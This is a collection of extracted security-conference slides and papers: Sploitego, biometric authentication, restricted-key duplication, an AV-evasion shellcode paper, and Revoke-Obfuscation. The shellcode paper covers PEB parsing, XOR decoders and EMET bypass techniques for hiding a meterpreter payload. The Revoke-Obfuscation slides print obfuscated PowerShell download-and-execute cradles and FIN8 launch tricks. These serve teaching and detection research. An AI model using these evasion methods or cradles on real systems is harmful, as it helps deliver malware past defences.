2. Iterates the __all__ special variable to get list
of modules in package
3. Loads each module and looks for
dotransform function annotated with
@configure
4. Reads
installa:on
meta-‐data
and
installs
transform
in
Maltego
accordingly
a) If
Transform
Set
doesn’t
exist,
it
will
create
it.
b) Detects
name
collisions
between
transforms
Nadeem Douba | www.cygnos.com
41
} To
uninstall
a
Sploitego
transform
run
mtguninstall:
$ mtguninstall
-‐-‐package
foobar
-‐-‐maltego-‐prefix
~/Library/Application\
Support/maltego/v3.1.1/
} mtguninstall
will
remove
the
transform
package
(Transform
Sets
and
Transforms)
from
Maltego’s
GUI
but
not
from
Python
site-‐package
directory
Nadeem Douba | www.cygnos.com
42
The Fun Stuff
Nadeem Douba | www.cygnos.com
43
Metasploit Integration
Demo
Nadeem Douba | www.cygnos.com
44
Nmap/Amap Integration
Demo
Nadeem Douba | www.cygnos.com
45
Scapy Integration
Demo
Nadeem Douba | www.cygnos.com
46
The Goodies
Nadeem Douba | www.cygnos.com
47
} mtgdebug script prints results in readable
format
} mtgsh
shell version of mtgdebug
– still a
work in progress
Nadeem Douba | www.cygnos.com
48
} mtgx2csv converts exported Maltego graphs
to CSV (comma-separated value) format.
} csv2sheets
reads the output of mtgx2csv and
separates entities of the same type into
separate CSVs
Nadeem Douba | www.cygnos.com
49
Last but not Least
Nadeem Douba | www.cygnos.com
50
} Get a website up with some documentation J
} Create more transforms for:
◦ Social Engineering
◦ Forensics
◦ Exploitation
◦ Scanning and Vulnerability Discovery
◦ Third-party Tool Integration
◦ Etc.
} Create an online community and transform
package index for transform developers similar
to PyPI
} Develop a context engine
◦ Minimize data duplication on graphs
◦ Provide transforms with access to full graph
Nadeem Douba | www.cygnos.com
51
} Sploitego needs your help!
◦ Developers
◦ Transform Gurus
◦ Hackers
◦ Documenters
◦ Website Designers
◦ Chefs who deliver to the Ottawa areaJ
Nadeem Douba | www.cygnos.com
52
} Please feel free to contact me:
◦ Email: [email protected]
◦ Twitter: @ndouba
◦ Skype: nadeem.douba
Nadeem Douba | www.cygnos.com
53
} To the Paterva team:
◦ Andrew MacPherson (Mohawk)
◦ Roelof Temmingh (RT)
} To the Cygnos & RCGT team (w00t!)
} Thank you for attending!
Nadeem Douba | www.cygnos.com
54
Anyone?
Nadeem Douba | www.cygnos.com
55 | pdf |
N Stage Authentication with
Biometric Devices
Presented by:
Nate Rotschafer
Sophomore
Peter Kiewit Institute
Revised: July 8, 2002
N Stage Authentication
Outline
– Background on Authentication
– General Network Security
– Need for High Grade Authentication
– Need for Multiple Factor Authentication
– Background on Error Types
– Forms of Biometric Authentication
– Pros and Cons of Each Biometric Technology
– What’s Hot? What’s Not?
– Major Players
– Network Management with Biometric Devices
– Problems
– Proper Network Security with Biometric Devices
– Demos and Discussion
– Prognosis
Background on
Authentication
Identification
The method used by a system (not
necessarily a computer) to uniquely
identify an individual or group.
Examples: User names, Driver’s
License, School ID,
Security Badge,
Passport
Authentication
The method(s) used to verify the given
identification against a database of
known information.
Examples: Passwords,
Fingerprints, Iris Prints,
Negotiation
Development of Authentication
What you know…
What you have…
What you are…
Future Development: How you are...
General Network Security
Security is NOT
Installing a firewall
A product or Service
Running an audit and shutting things
off
Security IS
Working productively and without
interruptions
Only as good as the weakest link
Risk management of resources (equipment,
people)
Physical security
A process, methodology, policies and people
Is 24x7x365
General Network Security
No silver bullet to network security
Replay attacks
Denial of Service ((D)DoS)
Spoofing
Users
Dictionary Attacks
Security Thoughts
80-90% are internal issues
Hard drive crash (what did you loose,
and how long to get back up?)
Firewall penetration (what can they do,
what do they see?)
Internet failed (how much lost
productivity/revenue, backup net
connection?)
Some can always get in
General Network Security
Conclusion
Biometrics will help but will not solve all
problems
Users are the “weakest link”
Proactive security plan
Need for High Grade
Authentication
Need for High Grade
Authentication
High Security Areas
Multiple Factor Authentication
Challenge and Response Authentication
High Assurance of Proper Identification
Data Retrieval Based on the Person
Background on Error Types
Type I Error --- Accept in Error
Balance Between Type I and Type II
Error
Most Dangerous
High Exposure
Preventable
Need for Additional Security Measures
Type II --- Deny in Error
Balance Between Type I and Type II
Error
Only an Inconvenience
Prventable
Established by a High Security Policy
Forms of Biometric
Authentication
Forms of Biometric Devices
Fingerprint Scanners
Retina Scanners
Iris Scanners
Voice Print Scanners
Handwriting Recognition
Face Recognition
Personal Geometry
DNA
Pros and Cons of Each
Biometric Technology
Fingerprint Scanners
Pros
Cons
Retina Scanners
Pros
Cons
Iris Scanners
Pros
Cons
Voice Print Scanners
Pros
Cons
Handwriting Recognition
Pros
Cons
Personal Geometry
Pros
Cons
Face Recognition
Pros
Cons
DNA
Pros
Cons
What’s Hot? What’s Not?
What’s Hot?
Fingerprint Scanners
Iris Scanners
N Stage Authentication
Interoperability
Interchangeability
Standards
Server Signature Storage
What’s Not?
Retina Scanners
DNA
1 or 2 Stage Authentication
Major Players
Major Players
Most ISP NOCs
Healthcare Organizations
Banking Industry
Military/Government Agencies
Department of Defense
Schools?
Network Management with
Biometric Devices
Cost
Fingerprint Scanner --- $100-150
Retina Scanner --- $400-500
Iris Scanner --- $200-300
Voice Print Scanner --- $150-200
Face Recognition --- $150-250
Ease of Deployment
Fingerprint Scanner --- Easy
Retina Scanner --- Hard
Iris Scanner --- Hard
Voice Print Scanner --- Medium
Face Recognition --- Easy
Ease of Management
Fingerprint Scanner --- Easy
Retina Scanner --- Medium
Iris Scanner --- Medium
Voice Print Scanner --- Easy
Face Recognition --- Medium
User Effects
Fingerprint Scanner --- Medium
Retina Scanner --- Medium
Iris Scanner --- Medium
Voice Print Scanner --- High
Face Recognition --- Medium
Problems
Proper Network Security With
Biometric Devices
Securing Biometric Signatures
Tamper resistant storage
Protection from corruption
Secure signature changes
Secure backups
Stop signature interception
Protect latent signatures
Logon Security
Trusted Path to the authentication
device
Tamper resistance
Clear or encrypted transmission
Continuous monitoring
What “goes down the wire”?
Real biometric?
Bypass Prevention
Tamper resistance at the local machine
Enhanced biometrics to tell a real
biometric from a fake biometric
Both biometrics and passwords needed
Consistency
Environmental effects
All network users adhere to the same
policy
All network machines configured
identically
Can Biometrics be Bypassed?
How they are connected
The device can be fooled
Consistency
Demos and Discussion
Demo of Fingerprint Scanner
Authentication
Demo of Iris Scanner
Authentication
Wire Capture Analysis
Recent Bypassing Methods
How to Bypass
Question and Answer
Thanks To:
Dr. Blaine Burnham, Director of NUCIA
Defcon 10
Peter Kiewit Institute
Dan Devries
Contact Info
E-Mail: [email protected]
Slides: http://www.geniussystems.net
– Goto the :. Talks .: section and then to the
“Biometrics” folder then to the “Defcon”
folder and download the .ppt slides of the
presentation.
Links
http://www.theregus.com/content/55/24956.html
http://www.heise.de/ct/english/02/11/114/
http://www.precisebiometrics.com/
http://www.saflink.com/
http://stat.tamu.edu/Biometrics/
http://www.biometrics.org/
http://biometrics.cse.msu.edu/ | pdf |
SECURITY PAPER
Preparation Date: 11 Dec 2016
Art of Anti Detection – 3
Shellcode Alchemy
Prepared by:
Ege BALCI
Penetration Tester
ege.balci<at>invictuseurope.com
INVICTUS
2
Security Paper
TABLE OF CONTENT
1. Abstract:.....................................................................................................................................................3
2. Terminology..............................................................................................................................................3
3. Introduction.............................................................................................................................................. 4
4. Basic Shellcoding.....................................................................................................................................5
5. Solving The Addressing Problem....................................................................................................... 5
6. Hash API...................................................................................................................................................10
7. Encoder/Decoder Design................................................................................................................... 11
8. Anti Exploit Mitigations......................................................................................................................16
9. Bypassing EMET.....................................................................................................................................17
10. References:...........................................................................................................................................18
INVICTUS
3
Security Paper
1. Abstract:
This paper will deal with subjects such as basic shellcoding concepts, assembly level
encoder/decoder design and few methods for bypassing anti exploit solutions such as
Microsoft’s Enhanced Mitigation Experience Toolkit(EMET). In order to understand the
content of this paper readers needs to have at least intermediate x86 assembly
knowledge and decent understanding of basic file formats such as COFF and PE, also
reading other articles (Art of Anti Detection 1 – Introduction to AV & Detection
Techniques and Art of Anti Detection 2 – PE Backdoor Manufacturing) will help with
understanding the inner workings of basic detection techniques used by AV products
and terminology in this paper.
2. Terminology
Process Environment Block(PEB):
In computing the Process Environment Block (abbreviated PEB) is a data structure in the
Windows NT operating system family. It is an opaque data structure that is used by the
operating system internally, most of whose fields are not intended for use by anything
other than the operating system. Microsoft notes, in its MSDN Library documentation —
which documents only a few of the fields — that the structure "may be altered in future
versions of Windows". The PEB contains data structures that apply across a whole
process, including global context, startup parameters, data structures for the program
image loader, the program image base address, and synchronization objects used to
provide mutual exclusion for process-wide data structures.
Address Space Layout Randomization:
(ASLR) is a computer security technique involved in protection from buffer overflow
attacks. In order to prevent an attacker from reliably jumping to, for example, a
particular exploited function in memory, ASLR randomly arranges the address space
positions of key data areas of a process, including the base of the executable and the
positions of the stack, heap and libraries.
Import Address Table(IAT):
Address table is used as a lookup table when the application is calling a function in a
different module. It can be in the form of both import by ordinal and import by name.
Because a compiled program cannot know the memory location of the libraries it
depends upon, an indirect jump is required whenever an API call is made. As the dynamic
linker loads modules and joins them together, it writes actual addresses into the IAT
slots, so that they point to the memory locations of the corresponding library functions.
INVICTUS
4
Security Paper
Data Execution Prevention(DEP):
Data Execution Prevention (DEP) is a set of hardware and software technologies that
perform additional checks on memory to help prevent malicious code from running on a
system. In Microsoft Windows XP Service Pack 2 (SP2) and Microsoft Windows XP Tablet
PC Edition 2005, DEP is enforced by hardware and by software.The primary benefit of
DEP is to help prevent code execution from data pages. Typically, code is not executed
from the default heap and the stack. Hardware-enforced DEP detects code that is
running
from
these
locations
and
raises
an
exception
when
execution
occurs.
Software-enforced DEP can help prevent malicious code from taking advantage of
exception-handling mechanisms in Windows.
Address Layout Randomization(ASLR):
Address space layout randomization (ASLR) is a computer security technique involved in
protection from buffer overflow attacks. In order to prevent an attacker from reliably
jumping to, for example, a particular exploited function in memory, ASLR randomly
arranges the address space positions of key data areas of a process, including the base of
the executable and the positions of the stack, heap and libraries.
stdcall Calling Convention:
The stdcall calling convention is a variation on the Pascal calling convention in which the
callee is responsible for cleaning up the stack, but the parameters are pushed onto the
stack in right-to-left order, as in the _cdecl calling convention. Registers EAX, ECX, and
EDX are designated for use within the function. Return values are stored in the EAX
register. stdcall is the standard calling convention for the Microsoft Win32 API and for
Open Watcom C++.
3. Introduction
Shellcodes plays a very important role in cyber security field, they are widely used in a
lot of malware and exploits. So, what is shellcode? Shellcode is basically a series of bytes
that will be interpreted as instructions on CPU, the main purpose of writing shellcodes is
exploiting vulnerabilities that allows executing arbitrary bytes on the system such as
overflow vulnerabilities also, because of shellcodes can run directly inside memory wast
amount of malware takes advantage of it, the reason behind the name shellcode is
usually shellcodes returns a command shell when executed but in time the meaning has
evolved, today almost all compiler generated programs can be converted to shellcode,
because of writing shellcode involves an in-depth understanding of assembly language
for the target architecture and operating system, this paper will assume reader knows
how to write programs in assembly on both Windows and Linux environments. There are
a lot of open source shellcodes on the internet but for exploiting new and different
vulnerabilities every cyber security researcher should be able to write his/her own
sophisticated shellcode,
INVICTUS
5
Security Paper
also writing your own shellcodes will help a lot for understanding the key concepts of
operating systems, the aim of this paper is explaining basic shellcoding concepts,
showing effective methods for decreasing the detection rate on shellcodes and
bypassing some anti exploit mitigation.
4. Basic Shellcoding
Writing shellcodes for different operating systems requires different approaches, unlike
Windows, UNIX based operating systems provides a direct way to communicate with the
kernel through the int 0x80 interface, all syscalls inside the UNIX based operating
systems has a unique number, with calling the 0x80’th interrupt code(int 0x80), kernel
executes the syscall with given number and parameters, but here is the problem,
Windows does not have a direct kernel interface, this means there has to be exact
pointers(memory addresses) to functions in order to call them and unfortunately hard
coding the function addresses does not fully solve the problem, every function address
inside windows changes in every service pack,version and even configuration, using hard
coded addresses makes the shellcode highly version dependent, writing version
independent shellcodes on windows is possible throughout solving the addressing
problem, this can be achieved with finding the function addresses dynamically on
runtime.
5. Solving The Addressing Problem
Throughout the time shellcode writers found clever ways to find the addresses of
Windows API functions on runtime, in this paper we will focus on a specific method
called PEB parsing, this method uses the Process Environment Block(PEB) data structure
to locate the base addresses of loaded DLLs and finding their function addresses with
parsing the Export Address Table(EAT), almost all version independent windows
shellcodes inside metasploit framework uses this technique to find the addresses of
Windows API functions,
Shellcodes witch is using this method takes advantage of “FS”segment register, in
windows this register points out the Thread Environment Block(TEB) address, TEB block
contains a lot of useful data including PEB structure we are looking for, when shellcode
is executed inside memory we need to go 48 bytes forward from the beginning of the
TEB block,
xor eax, eax
mov edx, [fs:eax+48]
INVICTUS
6
Security Paper
now we have a pointer to EB structure,
After getting the PEB structure pointer, now we will move 12 bytes forward from the
beginning of the PEB block in order to get the address for “Ldr” data structure pointer
inside PEB block,
mov edx, [edx+12]
INVICTUS
7
Security Paper
Ldr structure contains information about the loaded modules for the process, if we move
20 byte further inside Ldr structure we will reach the first module from the
“InMemoryOrderModuleList”,
mov edx, [edx+20]
Now our pointer is pointing to InMemoryOrderModuleList witch is a LIST_ENTRY
structure, Windows defines this structure as a “head of a doubly-linked list that contains
the loaded modules for the process.” each item in the list is a pointer to an
LDR_DATA_TABLE_ENTRY structure, this structure is our main target, it contains full
name and base address of loaded DLLs(modules), since the order of the loaded modules
can change, we should check the full name in order to choose the right DLL that is
containing the function we are looking for, this can be easily done with moving 40 bytes
forward from the start of the LDR_DATA_TABLE_ENTRY if the DLL name matches the
one that we are looking for, we can proceed,
INVICTUS
8
Security Paper
with moving 16 byte forward inside LDR_DATA_TABLE_ENTRY we now finally have the
base address of the loaded DLL,
mov edx, [edx+16]
The first step of getting the function addresses is complete, now we have the base
address of the DLL that is containing the required function, we have to parse the DLL’s
export address table in order to find the required function address, export address table
is located inside the PE optional header, with moving 60 bytes forward from the base
address we now have a pointer to DLL’s PE header on memory,
INVICTUS
9
Security Paper
finally we need to calculate the address of the export address table with (Module Base
Address + PE header address + 120 byte) formula, this will give the address of the export
address table(EAT), after getting the EAT address we now have access to all functions
that is exported by the DLL, Microsoft describes the IMAGE_EXPORT_DIRECTORY with
below figure,
This structure contains the addresses, names, and number of the exported functions,
with using the same size calculation traversing techniques desired function addresses
can be obtained inside this structure, of course the order of the exported functions may
change in every windows version, because of this before obtaining the function
addresses, name of the function should be checked, after being sure of the function
name, the function address is now in our reach,
INVICTUS
10
Security Paper
as you can understand this method is all about calculating the size of several Windows
data structures and traversing inside the memory,
the real challenge here is building a
reliable name comparing mechanism for selecting the right DLL and functions, if PEB
parsing technique seems too hard to implement do not worry, there are easier way to do
this.
6. Hash API
Almost all shellcodes inside metasploit project uses a assembly block called Hash API, it
is a fine piece of code written by Stephen Fewer and it is used by majority of Windows
the shellcodes inside metasploit since 2009, this assembly block makes parsing the PEB
structure much easier, it uses the basic PEB parsing logic and some additional hashing
methods for quickly finding the required functions with calculating the ROR13 hash of
the function and module name, usage of this block is pretty easy, it uses the stdcall
calling convention only difference is after pushing the required function parameters it
needs the ROR13 hash of the function name and DLL name that is containing the
function, after pushing the required parameters and the function hash it parses the PEB
block as explained earlier and finds the module name, after finding the module name it
calculates the ROR13 hash and saves it to stack then it moves to the DLL’s export
address table and calculates the ROR13 hash of each function name, it takes the sum of
the each function name hash and module name hash, if the sum matches the hash that
we are looking for, it means the wanted function is found, finally Hash API makes a jump
to the found function address with the passed parameters on the stack, it is a very
elegant piece of code but it is coming to its final days, because of it’s popularity and
wide usage, some AV products and anti exploit mitigations specifically targets the work
logic of this code block, even some AV products uses the ROR13 hash used by the Hash
API as signatures for identifying the malicious files, because of the recent advancements
on anti exploit solutions inside operating systems, Hash API has a short lifespan left, but
there are other ways to find the Windows API function addresses, also with using some
encoding mechanisms this method can still bypass the majority of AV products.
INVICTUS
11
Security Paper
7. Encoder/Decoder Design
Before starting to design, reader should acknowledge the fact that using this encoder
alone will not generate fully undetectable shellcodes, after executing the shellcode,
decoder will run directly and decode the entire shellcode to its original form, this can’t
bypass the dynamic analysis mechanisms of the AV products.
Decoder logic is pretty simple, it will use a randomly generated multi byte XOR key for
decoding the shellcode, after the decode operation it will execute it, before placing the
shellcode inside the decoder header it should be ciphered with a multi byte XOR key and
both shellcode and XOR key should be placed inside the “<Shellcode>”, “<Key>” labels,
Since the code is pretty much self explanatory, i will not waste time for explaining it
line by line, with using the JMP/CALL trick it gets the addresses of shellcode and key on
runtime then performs a logical XOR operation between each byte of shellcode and key,
every time the decipher key reaches to end it will reset the key with it’s start address,
after finishing the decode operation it will jump to shellcode, using longer XOR key
increase the randomness of the shellcode but also increases the entrophy of the code
block so avoid using too long decipher keys,
INVICTUS
12
Security Paper
there are hundreds of ways to encode shellcodes with using basic logical operations such
as XOR, NOT, ADD, SUB, ROR, ROL
in every encoder routine there are infinite possible
shellcode output, the possibility of AV products detecting any sign of shellcode before
decoding sequence is very low, because of this AV products also develops heuristic
engines that is capable of detecting decryption and decoding loops inside code blocks,
there are few effective methods for bypassing the static approaches for detecting
decoder loops when writing shellcode encoders,
Uncommon Register Usage:
In x86 architecture all registers have a specific purpose, for example ECX stands for
Extended Counter Register and it is commonly used as a loop counter, when we write a
basic loop condition in any compiled language, the compiler will probably use the ECX
register as the loop counter variable, finding a consecutively increasing ECX register
inside a code block is strongly indicates a loop for the heuristic engines, solution to this
issue is simple, not using the ECX register for loop counter, this is just one example but it
is also very effective for all other stereotyped
code fragments like function
epilogue/prologue etc.. a lot of
code recognition mechanism depends on the register
usage, writing assembly code with unusual register usage will decrease the detection
rate.
Garbage Code Padding:
There may be hundreds of ways to identify decoders inside code blocks and almost every
AV product uses different approaches but eventually they have to generate a signature
for statically checking a code block for possible decoder or decryptor, using random NOP
instructions inside the decoder code is a nice way to bypass static signature analysis, it
doesn’t have to be specifically NOP instruction, it can be any instruction that maintains
the functionality of the original code, the aim is adding garbage instructions in order to
break apart the malicious signatures inside code block, another important thing about
writing shellcodes is the size, so avoid using too much garbage obfuscation code inside
the decoder or it will increase the overall size.
INVICTUS
13
Security Paper
After implementing this methods resulting code looks like this,
Only change is between EAX and ECX registers, now the register responsible for
counting the shellcode index is EAX, and there are few lines of NOP padding between
every XOR and MOV instructions, the shellcode used by this tutorial is Windows
meterpreter reverse TCP, after ciphering the shellcode with a 10 byte long random XOR
key, both placed inside the decoder,
with using the nasm -f bin Decoder.asm command
assemble the decoder to binary format(Don’t forget the remove the line breaks on
shellcode or nasm will not asssemble it).
INVICTUS
14
Security Paper
Here is the AV scan result before encoding the raw shellcode,
INVICTUS
15
Security Paper
As you can see a lot of AV scanners recognizes the shellcode.
And this is the result for encoded shellcode,
INVICTUS
16
Security Paper
8. Anti Exploit Mitigations
When it comes to bypassing AV products there are a lot of ways to success but anti
exploit mitigations takes the situation to a whole new level, Microsoft announced
Enhanced Mitigation Experience Toolkit(EMET) in 2009, it is basically is a utility that
helps prevent vulnerabilities in software from being successfully exploited, it has
several protection mechanisms,
●
Dynamic Data Execution Prevention (DEP)
●
Structure Exception Handler Overwrite protection (SEHOP)
●
NullPage Allocation
●
HeapSpray Protection
●
Export Address Table Address Filtering (EAF)
●
Mandatory ASLR
●
Export Address Table Access Filtering Plus (EAF+)
●
ROP mitigations
■
Load library checks
■
Memory protection check
■
Caller checks
■
Simulate execution flow
■
Stack pivot
●
Attack Surface Reduction (ASR)
Among these mitigations EAF, EAF+ and caller checks concerns us most, as explained
earlier almost all shellcodes inside metasploit framework uses the Stephen Fewer’s Hash
API and because of Hash API applies the PEB/EAT parsing techniques, EMET easily
detects and prevents the executions of shellcodes.
INVICTUS
17
Security Paper
9. Bypassing EMET
The caller checks inside the EMET
inspects the Windows API calls made by processes, it
blocks the RET and JMP instructions inside Win API functions in order to prevent all
exploits that are using return oriented programming(ROP) approaches, in Hash API after
finding the required Win API function addresses JMP instruction is used for executing
the function, unfortunately this will trigger EMET caller checks, in order to bypass the
caller checks, usage of JMP and RET instructions pointing to Win API functions should be
avoided,
with replacing the JMP instruction that is used for executing the Win API
function with CALL , Hash API should pass the caller checks, but when we look at the
EAF/EAF+ mitigation techniques, they prevents access to the Export Address Table (EAT)
for read/write access depending on the code being called and checks if the stack register
is within the permitted boundaries or not also it tries to detect read attempts on the
MZ/PE header of specific chapters and KERNELBASE, this is a very effective mitigation
method for preventing EAT parsing techniques, but EAT is not the only structure that
contains the required function addresses, import address table(IAT) also holds the Win
API function addresses used by the application, if the application is also using the
required functions, it is possible to gather the function addresses inside the IAT
structure,
a cyber security researcher named Joshua Pitts recently developed a new
IAT parsing method, it finds the LoadLibraryA and GetProcAddress Windows API
functions inside the import address table, after obtaining these function addresses any
function from any library can be extracted, he also wrote a tool called fido for striping
Stephen Fewer’s Hash API and replacing with this IAT parsing code he wrote, if you want
to read more about this method check out here,
INVICTUS
18
Security Paper
10.
References:
https://msdn.microsoft.com/en-us/library/ms809762.aspx
https://en.wikipedia.org/wiki/Process_Environment_Block
https://support.microsoft.com/en-us/help/875352/a-detailed-description-of-the-data-ex
ecution-prevention-dep-feature-in-windows-xp-service-pack-2,-windows-xp-tablet-pc-edi
tion-2005,-and-windows-server-2003
https://en.wikipedia.org/wiki/Portable_Executable
https://en.wikipedia.org/wiki/Address_space_layout_randomization
https://en.wikipedia.org/wiki/X86_calling_conventions
http://www.vividmachines.com/shellcode/shellcode.html
https://github.com/secretsquirrel/fido
https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellco
de/windows/x86/src/block/block_api.asm
The Shellcoder's Handbook: Discovering and Exploiting Security Holes
Sockets, Shellcode, Porting, and Coding: Reverse Engineering Exploits and Tool Coding
for Security Professionals | pdf |
Duplicating Restricted Keys
Billy & Bobby Graydon
Outline
1.
Keyways
2.
Other Stuff
How keys work
How Key Cutting works
How keyways work
3D Printing
The Old Approach to Keyway Research
Our Approach to Keyway Research
C: E: F: ∩: ∪:
BEST A Bump Key
Pic of CPC arrow press dies
Pic of pressed CPC blanks
Medeco Press
Lost Lock...
+
+ =
Lost Lock...
+
+ =
Lost Lock...
+
+ =
M3 Blank Manufacturing
m3 Variations
Master m3 Keyway
M3 Cut on M19, working
Photographing a Lock
→
Measuring the Key
Photographing the Key
Milling Marks - Shallow Slope Gives Precision
r
D
G
Outline
1.
Keyways
2.
Other Stuff
a.
Sidewinder Keys
b.
Primus
c.
Assa
d.
Medeco Angled Cuts
e.
Dimple Locks, Mul-T-Lock
f.
Interactive Components, Mul-T-Lock
g.
Disc Detainer Locks, Abloy
h.
Patents
i.
Duplication Authorisation Cards
MT5 Patent = No ebay blanks
Outline
1.
Keyways
2.
Other Stuff
3.
Bonus! Remediation
Lost Lock = Lost GMK
=
Sectional keyways -
great as an extra
security control. Bad as
the only one.
Restricted keyways -
great as an extra
security control. Bad as
the only one.
“physical keys are dead hurr durr”
“physical keys are dead hurr durr”
Understand your threat model.
4N6
Microscopy
Questions!
[email protected]
[email protected] | pdf |
Revoke-Obfuscation
> PowerShell Obfuscation Detection Using Science
Daniel Bohannon - @danielhbohannon
Lee Holmes - @Lee_Holmes
0.0/00
> Whois
0.0/00
-
MANDIANT Senior Applied Security Researcher
-
Invoke-Obfuscation, Invoke-CradleCrafter
-
Obfuscation, evasion and detection techniques
-
@danielhbohannon
Title . @Speaker . Location
%ProgramData:~0,1%%ProgramData:~9,2% /c echo OBFUSCATION_FTW!
> Whois
0.0/00
-
Lead security architect of Azure Management @ MS
-
Author of the Windows PowerShell Cookbook
-
Original member of PowerShell Development Team
-
@Lee_Holmes
Title . @Speaker . Location
iex (iwr bit.ly/e0Mw9w)
0.0/00
Title . @Speaker . Location
Preparing Your Environment for Investigations
• Logs (and retention) are your friend 1) enable 2) centralize 3) LOOK/MONITOR
• Process Auditing AND Command Line Process Auditing 4688 FTW!
• https://technet.microsoft.com/en-us/library/dn535776.aspx
• SysInternals’ Sysmon is also a solid option
• Real-time Process Monitoring
• Uproot IDS - https://github.com/Invoke-IR/Uproot
• PowerShell Module, ScriptBlock, and Transcription logging
• https://blogs.msdn.microsoft.com/powershell/2015/06/09/powershell-the-blue-team/
• https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html
Launch Techniques
• PowerShell Help is the best in the business
Launch Techniques
• powershell.exe called by cmd.exe
• cmd.exe /c "powershell -c Write-Host SUCCESS -Fore Green"
Launch Techniques
• powershell.exe called by cmd.exe
• cmd.exe /c "powershell -c Write-Host SUCCESS -Fore Green"
• cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
• cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"
Launch Techniques
• powershell.exe called by cmd.exe
..
• cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
• cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"
Launch Techniques
• powershell.exe called by cmd.exe
..
• cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
• cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"
Launch Techniques
• powershell.exe called by cmd.exe
..
• cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
• cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"
Is it safe to key off of cmd.exe with arguments | powershell ??
Of course not! "powershell" can be set and called as variables in cmd.exe
cmd /c "set p1=power&& set p2=shell&& cmd /c echo Write-Host SUCCESS -Fore Green ^|
%p1%%p2% - "
Launch Techniques
Here is an example of FIN8 combining this environment variable obfuscation with
PowerShell stdin invocation
cmd /c echo %_MICROSOFT_UPDATE_CATALOG% | %_MICROSOFT_UPDATE_SERVICE%
powershell -
$Env:_CT;$o='';$l=$s.length;$i=$Env:_PA%$l;while($o.length -ne$l){$o+=$s[$i];$i=($i+$Env:_KE)%$l}iex($o)
Launch Techniques
Here is an example of FIN8 combining this environment variable obfuscation with
PowerShell stdin invocation
cmd.exe /c echo %var1% | %var2%
cmd /c echo %_MICROSOFT_UPDATE_CATALOG% | %_MICROSOFT_UPDATE_SERVICE%
powershell -
powershell -
$Env:_CT;$o='';$l=$s.length;$i=$Env:_PA%$l;while($o.length -ne$l){$o+=$s[$i];$i=($i+$Env:_KE)%$l}iex($o)
Launch Techniques
• powershell.exe called by cmd.exe
• cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
• cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"
• cmd.exe /c "set cmd=Write-Host ENV -Fore Green && powershell IEX $env:cmd"
Can also use .Net function or GCI/dir:
[Environment]::GetEnvironmentVariable('cmd', 'Process')
(Get-ChildItem/ChildItem/GCI/DIR/LS env:cmd).Value
Kovter <3 this!
Launch Techniques
• powershell.exe called by cmd.exe
• cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
• cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"
• cmd.exe /c "set cmd=Write-Host ENV -Fore Green& & powershell IEX $env:cmd"
• cmd.exe /c "echo Write-Host CLIP -Fore Green | clip && powershell [void]
[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms')
; IEX ([System.Windows.Forms.Clipboard]::GetText())"
Launch Techniques
• So we just apply detection logic to Child and Parent process arguments and
we’re good…Right?
Launch Techniques
• cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
Launch Techniques
• cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
• cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && cmd /c echo %cmd% |
powershell -"
Does this work???
Launch Techniques
• cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
• cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green&& cmd /c echo %cmd% |
powershell -"
http://ohtoptens.com/wp-content/uploads/2015/05/Grumpy-Cat-NO-8.jpg
Executes, but arguments are still visible in parent process.
Launch Techniques
• cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
• cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && cmd /c echo %cmd% |
powershell -"
Escape with ^ for cmd.exe
Launch Techniques
• cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
• cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && cmd /c echo %cmd%
^| powershell -"
Does this work???
Escape with ^ for cmd.exe
Launch Techniques
• cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"
• cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green&& cmd /c echo %cmd%
^| powershell -"
http://journalthis.danoah.com/wp-content/uploads/best-funniest-grumpy-cat-22.jpg
Launch Techniques
• cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && cmd /c echo %cmd%
^| powershell -"
• cmd /c echo %cmd% | powershell -
• powershell -
• Detect by recursively checking parent process command arguments?
Not 100% of the time
Launch Techniques
• Set content in one process and then query it out and execute it from another
completely separate process. NO SHARED PARENT PROCESS!
• cmd /c "title WINDOWS_DEFENDER_UPDATE && echo IEX (IWR
https://bit.ly/L3g1t)&& FOR /L %i IN (1,1,1000) DO echo"
• cmd /c "powershell IEX (Get-WmiObject Win32_Process -Filter \^"Name =
'cmd.exe' AND CommandLine like
'%WINDOWS_DEFENDER_UPDATE%'\^").CommandLine.Split([char]38)[2].SubStri
ng(5)"
Launch Techniques
• The good news? PowerShell script block logs capture ALL of this.
• The bad news? Token-layer obfuscation persists into script block logs.
> Obfuscating the Cradle
0.0/00
Title . @Speaker . Location
Obfuscating the Cradle: (New-Object Net.WebClient)
• Invoke-Expression (New-Object System.Net.WebClient).DownloadString("https://bit.ly/L3g1t")
• Veil
• downloaderCommand = "iex (New-Object Net.WebClient).DownloadString(\"http://%s:%s/%s\")\n“
• https://github.com/nidem/Veil/blob/master/modules/payloads/powershell/psDownloadVirtualAlloc.py#L76
• PowerSploit
• $Wpad = (New-Object Net.Webclient).DownloadString($AutoConfigURL)
• https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1#L1375
• Metasploit
